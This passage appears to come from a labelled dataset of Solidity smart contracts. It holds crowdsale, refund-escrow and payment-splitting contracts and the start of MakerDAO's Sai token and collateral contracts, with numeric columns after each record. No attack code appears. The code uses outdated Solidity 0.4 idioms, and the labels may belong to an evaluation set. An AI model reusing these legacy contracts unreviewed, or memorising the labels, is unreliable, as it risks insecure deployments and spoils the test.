event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function withdrawTokens() public {
require(hasClosed());
uint256 amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0;
_deliverTokens(msg.sender, amount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
}
contract FinalizableCrowdsale is Ownable, TimedCrowdsale {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundEscrow private escrow;
constructor(uint256 _goal) public {
require(_goal > 0);
escrow = new RefundEscrow(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
escrow.withdraw(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
escrow.close();
escrow.beneficiaryWithdraw();
} else {
escrow.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
escrow.deposit.value(msg.value)(msg.sender);
}
}
contract SplitPayment {
using SafeMath for uint256;
uint256 public totalShares = 0;
uint256 public totalReleased = 0;
mapping(address => uint256) public shares;
mapping(address => uint256) public released;
address[] public payees;
constructor(address[] _payees, uint256[] _shares) public payable {
require(_payees.length == _shares.length);
for (uint256 i = 0; i < _payees.length; i++) {
addPayee(_payees[i], _shares[i]);
}
}
function () external payable {}
function claim() public {
address payee = msg.sender;
require(shares[payee] > 0);
uint256 totalReceived = address(this).balance.add(totalReleased);
uint256 payment = totalReceived.mul(
shares[payee]).div(
totalShares).sub(
released[payee]
);
require(payment != 0);
require(address(this).balance >= payment);
released[payee] = released[payee].add(payment);
totalReleased = totalReleased.add(payment);
payee.transfer(payment);
}
function addPayee(address _payee, uint256 _shares) internal {
require(_payee != address(0));
require(_shares > 0);
require(shares[_payee] == 0);
payees.push(_payee);
shares[_payee] = _shares;
totalShares = totalShares.add(_shares);
}
}
contract MedianizerInterface {
function read() public view returns (bytes32);
}
contract MedianizerProxyInterface {
function medianizer() public view returns (MedianizerInterface);
}
contract WhitelistInterface {
function checkRole(address _operator, string _role) public view;
function hasRole(address _operator, string _role) public view returns (bool);
}
contract WhitelistProxyInterface {
function whitelist() public view returns (WhitelistInterface);
}
contract Payments is Ownable, SplitPayment {
constructor() public SplitPayment(new address[](0), new uint256[](0)) { }
function addPayment(address _payee, uint256 _amount) public onlyOwner {
addPayee(_payee, _amount);
}
}
contract TokenSale is RefundableCrowdsale, PostDeliveryCrowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public constant MEDIANIZER_PROXY_ADDRESS = 0xe8f99AEa488aB288f4D787f7FD75b158A5685F8A;
address public constant WHITELIST_PROXY_ADDRESS = 0x7223b032180CDb06Be7a3D634B1E10032111F367;
MedianizerProxyInterface private medianizerProxy = MedianizerProxyInterface(MEDIANIZER_PROXY_ADDRESS);
WhitelistProxyInterface private whitelistProxy = WhitelistProxyInterface(WHITELIST_PROXY_ADDRESS);
uint256 public constant MINIMUM_INVESTMENT_WEI = 1e18;
uint256 public constant CAP_INVESTMENT_WEI = 1e24;
address public beneficiary;
uint256 public cap;
uint256 public totalTokens;
uint256 public totalTokensSold = 0;
bool public usd;
uint256 public usdPerEthOnFinalize;
Payments public payments = new Payments();
mapping(address => uint256) public usdInvestment;
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
ERC20 _token,
uint256 _goal,
bool _usd
)
public
Crowdsale(_rate, address(payments), _token)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal)
PostDeliveryCrowdsale()
{
require(_cap > 0, "cap is not > 0");
require(_goal < _cap, "goal is not < cap");
require(_wallet != address(0));
beneficiary = _wallet;
cap = _cap;
usd = _usd;
}
function capReached() public view returns (bool) {
return _reached(cap);
}
function goalReached() public view returns (bool) {
return _reached(goal);
}
function hasClosed() public view returns (bool) {
return _reached(cap.mul(99).div(100)) || super.hasClosed();
}
function reverse(address _account) public onlyOwner {
require(!isFinalized);
WhitelistInterface whitelist = whitelistProxy.whitelist();
require(!whitelist.hasRole(_account, "authorized"));
uint256 balance = balances[_account];
balances[_account] = 0;
totalTokensSold = totalTokensSold.sub(balance);
usdInvestment[_account] = 0;
weiRaised = weiRaised.sub(balance / rate);
payments.addPayment(_account, balance / rate);
}
function withdrawTokens() public {
require(isFinalized && goalReached(), "withdrawTokens requires the TokenSale to be successfully finalized");
uint256 extra = totalTokens.sub(totalTokensSold).mul(balances[msg.sender]) / totalTokensSold;
balances[msg.sender] = balances[msg.sender].add(extra);
super.withdrawTokens();
}
function finalization() internal {
super.finalization();
totalTokens = token.balanceOf(address(this));
MedianizerInterface medianizer = medianizerProxy.medianizer();
usdPerEthOnFinalize = uint256(medianizer.read());
if (goalReached()) {
payments.addPayment(beneficiary, weiRaised);
} else {
token.safeTransfer(owner, totalTokens);
}
}
function _getUsdAmount(uint256 _weiAmount) internal view returns (uint256) {
MedianizerInterface medianizer = medianizerProxy.medianizer();
uint256 usdPerEth = isFinalized ? usdPerEthOnFinalize : uint256(medianizer.read());
return _weiAmount.mul(usdPerEth).div(1e18).div(1e18);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_weiAmount >= MINIMUM_INVESTMENT_WEI && (balances[_beneficiary] / rate).add(_weiAmount) <= CAP_INVESTMENT_WEI, "_preValidatePurchase invalid _weiAmount");
super._preValidatePurchase(_beneficiary, _weiAmount);
WhitelistInterface whitelist = whitelistProxy.whitelist();
usdInvestment[_beneficiary] = usdInvestment[_beneficiary].add(_getUsdAmount(_weiAmount));
if (!whitelist.hasRole(_beneficiary, "uncapped")) {
require(usdInvestment[_beneficiary] <= 100000);
whitelist.checkRole(_beneficiary, "authorized");
}
if (usd) {
require(_getUsdAmount(weiRaised.add(_weiAmount)) <= cap, "usd raised must not exceed cap");
} else {
require(weiRaised.add(_weiAmount) <= cap, "wei raised must not exceed cap");
}
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
totalTokensSold = totalTokensSold.add(_tokenAmount);
require(totalTokensSold <= token.balanceOf(address(this)), "totalTokensSold raised must not exceed balanceOf `this`");
super._processPurchase(_beneficiary, _tokenAmount);
}
function _reached(uint256 _target) internal view returns (bool) {
if (usd) {
return _getUsdAmount(weiRaised) >= _target;
} else {
return weiRaised >= _target;
}
}
} | 0 | 1,699 |
pragma solidity ^0.4.13;
contract ReentrancyHandlingContract {
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
}
contract Owned {
address public owner;
address public newOwner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
contract PriorityPassInterface {
function getAccountLimit(address _accountAddress) public constant returns (uint);
function getAccountActivity(address _accountAddress) public constant returns (bool);
}
contract ERC20TokenInterface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SeedCrowdsaleContract is ReentrancyHandlingContract, Owned {
struct ContributorData {
uint contributionAmount;
}
mapping(address => ContributorData) public contributorList;
uint public nextContributorIndex;
mapping(uint => address) public contributorIndexes;
state public crowdsaleState = state.pendingStart;
enum state { pendingStart, priorityPass, openedPriorityPass, crowdsaleEnded }
uint public presaleStartTime;
uint public presaleUnlimitedStartTime;
uint public crowdsaleEndedTime;
event PresaleStarted(uint blocktime);
event PresaleUnlimitedStarted(uint blocktime);
event CrowdsaleEnded(uint blocktime);
event ErrorSendingETH(address to, uint amount);
event MinCapReached(uint blocktime);
event MaxCapReached(uint blocktime);
event ContributionMade(address indexed contributor, uint amount);
PriorityPassInterface priorityPassContract = PriorityPassInterface(0x0);
uint public minCap;
uint public maxP1Cap;
uint public maxCap;
uint public ethRaised;
address public multisigAddress;
uint nextContributorToClaim;
mapping(address => bool) hasClaimedEthWhenFail;
function() noReentrancy payable public {
require(msg.value != 0);
require(crowdsaleState != state.crowdsaleEnded);
bool stateChanged = checkCrowdsaleState();
if (crowdsaleState == state.priorityPass) {
if (priorityPassContract.getAccountActivity(msg.sender)) {
processTransaction(msg.sender, msg.value);
} else {
refundTransaction(stateChanged);
}
} else if (crowdsaleState == state.openedPriorityPass) {
if (priorityPassContract.getAccountActivity(msg.sender)) {
processTransaction(msg.sender, msg.value);
} else {
refundTransaction(stateChanged);
}
} else {
refundTransaction(stateChanged);
}
}
function checkCrowdsaleState() internal returns (bool) {
if (ethRaised == maxCap && crowdsaleState != state.crowdsaleEnded) {
crowdsaleState = state.crowdsaleEnded;
MaxCapReached(block.timestamp);
CrowdsaleEnded(block.timestamp);
return true;
}
if (block.timestamp > presaleStartTime && block.timestamp <= presaleUnlimitedStartTime) {
if (crowdsaleState != state.priorityPass) {
crowdsaleState = state.priorityPass;
PresaleStarted(block.timestamp);
return true;
}
} else if (block.timestamp > presaleUnlimitedStartTime && block.timestamp <= crowdsaleEndedTime) {
if (crowdsaleState != state.openedPriorityPass) {
crowdsaleState = state.openedPriorityPass;
PresaleUnlimitedStarted(block.timestamp);
return true;
}
} else {
if (crowdsaleState != state.crowdsaleEnded && block.timestamp > crowdsaleEndedTime) {
crowdsaleState = state.crowdsaleEnded;
CrowdsaleEnded(block.timestamp);
return true;
}
}
return false;
}
function refundTransaction(bool _stateChanged) internal {
if (_stateChanged) {
msg.sender.transfer(msg.value);
} else {
revert();
}
}
function calculateMaxContribution(address _contributor) constant public returns (uint maxContribution) {
uint maxContrib;
if (crowdsaleState == state.priorityPass) {
maxContrib = priorityPassContract.getAccountLimit(_contributor) - contributorList[_contributor].contributionAmount;
if (maxContrib > (maxP1Cap - ethRaised)) {
maxContrib = maxP1Cap - ethRaised;
}
} else {
maxContrib = maxCap - ethRaised;
}
return maxContrib;
}
function processTransaction(address _contributor, uint _amount) internal {
uint maxContribution = calculateMaxContribution(_contributor);
uint contributionAmount = _amount;
uint returnAmount = 0;
if (maxContribution < _amount) {
contributionAmount = maxContribution;
returnAmount = _amount - maxContribution;
}
if (ethRaised + contributionAmount >= minCap && minCap > ethRaised) {
MinCapReached(block.timestamp);
}
if (contributorList[_contributor].contributionAmount == 0) {
contributorList[_contributor].contributionAmount = contributionAmount;
contributorIndexes[nextContributorIndex] = _contributor;
nextContributorIndex++;
} else {
contributorList[_contributor].contributionAmount += contributionAmount;
}
ethRaised += contributionAmount;
ContributionMade(msg.sender, contributionAmount);
if (returnAmount != 0) {
_contributor.transfer(returnAmount);
}
}
function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner public {
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
function withdrawEth() onlyOwner public {
require(this.balance != 0);
require(ethRaised >= minCap);
pendingEthWithdrawal = this.balance;
}
uint public pendingEthWithdrawal;
function pullBalance() public {
require(msg.sender == multisigAddress);
require(pendingEthWithdrawal > 0);
multisigAddress.transfer(pendingEthWithdrawal);
pendingEthWithdrawal = 0;
}
function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner public {
require(block.timestamp > crowdsaleEndedTime && ethRaised < minCap);
address currentParticipantAddress;
uint contribution;
for (uint cnt = 0; cnt < _numberOfReturns; cnt++) {
currentParticipantAddress = contributorIndexes[nextContributorToClaim];
if (currentParticipantAddress == 0x0) {
return;
}
if (!hasClaimedEthWhenFail[currentParticipantAddress]) {
contribution = contributorList[currentParticipantAddress].contributionAmount;
hasClaimedEthWhenFail[currentParticipantAddress] = true;
if (!currentParticipantAddress.send(contribution)) {
ErrorSendingETH(currentParticipantAddress, contribution);
}
}
nextContributorToClaim += 1;
}
}
function withdrawRemainingBalanceForManualRecovery() onlyOwner public {
require(this.balance != 0);
require(block.timestamp > crowdsaleEndedTime);
require(contributorIndexes[nextContributorToClaim] == 0x0);
multisigAddress.transfer(this.balance);
}
function setMultisigAddress(address _newAddress) onlyOwner public {
multisigAddress = _newAddress;
}
function setPriorityPassContract(address _newAddress) onlyOwner public {
priorityPassContract = PriorityPassInterface(_newAddress);
}
function priorityPassContractAddress() constant public returns (address) {
return address(priorityPassContract);
}
function setCrowdsaleTimes(uint _presaleStartTime, uint _presaleUnlimitedStartTime, uint _crowdsaleEndedTime) onlyOwner public {
require(crowdsaleState == state.pendingStart);
require(_presaleStartTime != 0);
require(_presaleStartTime < _presaleUnlimitedStartTime);
require(_presaleUnlimitedStartTime != 0);
require(_presaleUnlimitedStartTime < _crowdsaleEndedTime);
require(_crowdsaleEndedTime != 0);
presaleStartTime = _presaleStartTime;
presaleUnlimitedStartTime = _presaleUnlimitedStartTime;
crowdsaleEndedTime = _crowdsaleEndedTime;
}
}
contract DataFundSeedCrowdsale is SeedCrowdsaleContract {
function DataFundSeedCrowdsale() {
presaleStartTime = 1512032400;
presaleUnlimitedStartTime = 1512063000;
crowdsaleEndedTime = 1512140400;
minCap = 356 ether;
maxP1Cap = 534 ether;
maxCap = 594 ether;
}
} | 0 | 1,252 |
pragma solidity ^0.4.18;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSThing is DSAuth, DSNote, DSMath {
function S(string s) internal pure returns (bytes4) {
return bytes4(keccak256(s));
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
function DSTokenBase(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
}
contract DSToken is DSTokenBase(0), DSStop {
bytes32 public symbol;
uint256 public decimals = 18;
function DSToken(bytes32 symbol_) public {
symbol = symbol_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
Burn(guy, wad);
}
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
contract DSValue is DSThing {
bool has;
bytes32 val;
function peek() public view returns (bytes32, bool) {
return (val,has);
}
function read() public view returns (bytes32) {
var (wut, haz) = peek();
assert(haz);
return wut;
}
function poke(bytes32 wut) public note auth {
val = wut;
has = true;
}
function void() public note auth {
has = false;
}
}
contract SaiVox is DSThing {
uint256 _par;
uint256 _way;
uint256 public fix;
uint256 public how;
uint256 public tau;
function SaiVox(uint par_) public {
_par = fix = par_;
_way = RAY;
tau = era();
}
function era() public view returns (uint) {
return block.timestamp;
}
function mold(bytes32 param, uint val) public note auth {
if (param == 'way') _way = val;
}
function par() public returns (uint) {
prod();
return _par;
}
function way() public returns (uint) {
prod();
return _way;
}
function tell(uint256 ray) public note auth {
fix = ray;
}
function tune(uint256 ray) public note auth {
how = ray;
}
function prod() public note {
var age = era() - tau;
if (age == 0) return;
tau = era();
if (_way != RAY) _par = rmul(_par, rpow(_way, age));
if (how == 0) return;
var wag = int128(how * age);
_way = inj(prj(_way) + (fix < _par ? wag : -wag));
}
function inj(int128 x) internal pure returns (uint256) {
return x >= 0 ? uint256(x) + RAY
: rdiv(RAY, RAY + uint256(-x));
}
function prj(uint256 x) internal pure returns (int128) {
return x >= RAY ? int128(x - RAY)
: int128(RAY) - int128(rdiv(RAY, x));
}
}
contract SaiTubEvents {
event LogNewCup(address indexed lad, bytes32 cup);
}
contract SaiTub is DSThing, SaiTubEvents {
DSToken public sai;
DSToken public sin;
DSToken public skr;
ERC20 public gem;
DSToken public gov;
SaiVox public vox;
DSValue public pip;
DSValue public pep;
address public tap;
address public pit;
uint256 public axe;
uint256 public cap;
uint256 public mat;
uint256 public tax;
uint256 public fee;
uint256 public gap;
bool public off;
bool public out;
uint256 public fit;
uint256 public rho;
uint256 _chi;
uint256 _rhi;
uint256 public rum;
uint256 public cupi;
mapping (bytes32 => Cup) public cups;
struct Cup {
address lad;
uint256 ink;
uint256 art;
uint256 ire;
}
function lad(bytes32 cup) public view returns (address) {
return cups[cup].lad;
}
function ink(bytes32 cup) public view returns (uint) {
return cups[cup].ink;
}
function tab(bytes32 cup) public returns (uint) {
return rmul(cups[cup].art, chi());
}
function rap(bytes32 cup) public returns (uint) {
return sub(rmul(cups[cup].ire, rhi()), tab(cup));
}
function din() public returns (uint) {
return rmul(rum, chi());
}
function air() public view returns (uint) {
return skr.balanceOf(this);
}
function pie() public view returns (uint) {
return gem.balanceOf(this);
}
function SaiTub(
DSToken sai_,
DSToken sin_,
DSToken skr_,
ERC20 gem_,
DSToken gov_,
DSValue pip_,
DSValue pep_,
SaiVox vox_,
address pit_
) public {
gem = gem_;
skr = skr_;
sai = sai_;
sin = sin_;
gov = gov_;
pit = pit_;
pip = pip_;
pep = pep_;
vox = vox_;
axe = RAY;
mat = RAY;
tax = RAY;
fee = RAY;
gap = WAD;
_chi = RAY;
_rhi = RAY;
rho = era();
}
function era() public constant returns (uint) {
return block.timestamp;
}
function mold(bytes32 param, uint val) public note auth {
if (param == 'cap') cap = val;
else if (param == 'mat') { require(val >= RAY); mat = val; }
else if (param == 'tax') { require(val >= RAY); drip(); tax = val; }
else if (param == 'fee') { require(val >= RAY); drip(); fee = val; }
else if (param == 'axe') { require(val >= RAY); axe = val; }
else if (param == 'gap') { require(val >= WAD); gap = val; }
else return;
}
function setPip(DSValue pip_) public note auth {
pip = pip_;
}
function setPep(DSValue pep_) public note auth {
pep = pep_;
}
function setVox(SaiVox vox_) public note auth {
vox = vox_;
}
function turn(address tap_) public note {
require(tap == 0);
require(tap_ != 0);
tap = tap_;
}
function per() public view returns (uint ray) {
return skr.totalSupply() == 0 ? RAY : rdiv(pie(), skr.totalSupply());
}
function ask(uint wad) public view returns (uint) {
return rmul(wad, wmul(per(), gap));
}
function bid(uint wad) public view returns (uint) {
return rmul(wad, wmul(per(), sub(2 * WAD, gap)));
}
function join(uint wad) public note {
require(!off);
require(ask(wad) > 0);
require(gem.transferFrom(msg.sender, this, ask(wad)));
skr.mint(msg.sender, wad);
}
function exit(uint wad) public note {
require(!off || out);
require(gem.transfer(msg.sender, bid(wad)));
skr.burn(msg.sender, wad);
}
function chi() public returns (uint) {
drip();
return _chi;
}
function rhi() public returns (uint) {
drip();
return _rhi;
}
function drip() public note {
if (off) return;
var rho_ = era();
var age = rho_ - rho;
if (age == 0) return;
rho = rho_;
var inc = RAY;
if (tax != RAY) {
var _chi_ = _chi;
inc = rpow(tax, age);
_chi = rmul(_chi, inc);
sai.mint(tap, rmul(sub(_chi, _chi_), rum));
}
if (fee != RAY) inc = rmul(inc, rpow(fee, age));
if (inc != RAY) _rhi = rmul(_rhi, inc);
}
function tag() public view returns (uint wad) {
return off ? fit : wmul(per(), uint(pip.read()));
}
function safe(bytes32 cup) public returns (bool) {
var pro = rmul(tag(), ink(cup));
var con = rmul(vox.par(), tab(cup));
var min = rmul(con, mat);
return pro >= min;
}
function open() public note returns (bytes32 cup) {
require(!off);
cupi = add(cupi, 1);
cup = bytes32(cupi);
cups[cup].lad = msg.sender;
LogNewCup(msg.sender, cup);
}
function give(bytes32 cup, address guy) public note {
require(msg.sender == cups[cup].lad);
require(guy != 0);
cups[cup].lad = guy;
}
function lock(bytes32 cup, uint wad) public note {
require(!off);
cups[cup].ink = add(cups[cup].ink, wad);
skr.pull(msg.sender, wad);
require(cups[cup].ink == 0 || cups[cup].ink > 0.005 ether);
}
function free(bytes32 cup, uint wad) public note {
require(msg.sender == cups[cup].lad);
cups[cup].ink = sub(cups[cup].ink, wad);
skr.push(msg.sender, wad);
require(safe(cup));
require(cups[cup].ink == 0 || cups[cup].ink > 0.005 ether);
}
function draw(bytes32 cup, uint wad) public note {
require(!off);
require(msg.sender == cups[cup].lad);
require(rdiv(wad, chi()) > 0);
cups[cup].art = add(cups[cup].art, rdiv(wad, chi()));
rum = add(rum, rdiv(wad, chi()));
cups[cup].ire = add(cups[cup].ire, rdiv(wad, rhi()));
sai.mint(cups[cup].lad, wad);
require(safe(cup));
require(sai.totalSupply() <= cap);
}
function wipe(bytes32 cup, uint wad) public note {
require(!off);
var owe = rmul(wad, rdiv(rap(cup), tab(cup)));
cups[cup].art = sub(cups[cup].art, rdiv(wad, chi()));
rum = sub(rum, rdiv(wad, chi()));
cups[cup].ire = sub(cups[cup].ire, rdiv(add(wad, owe), rhi()));
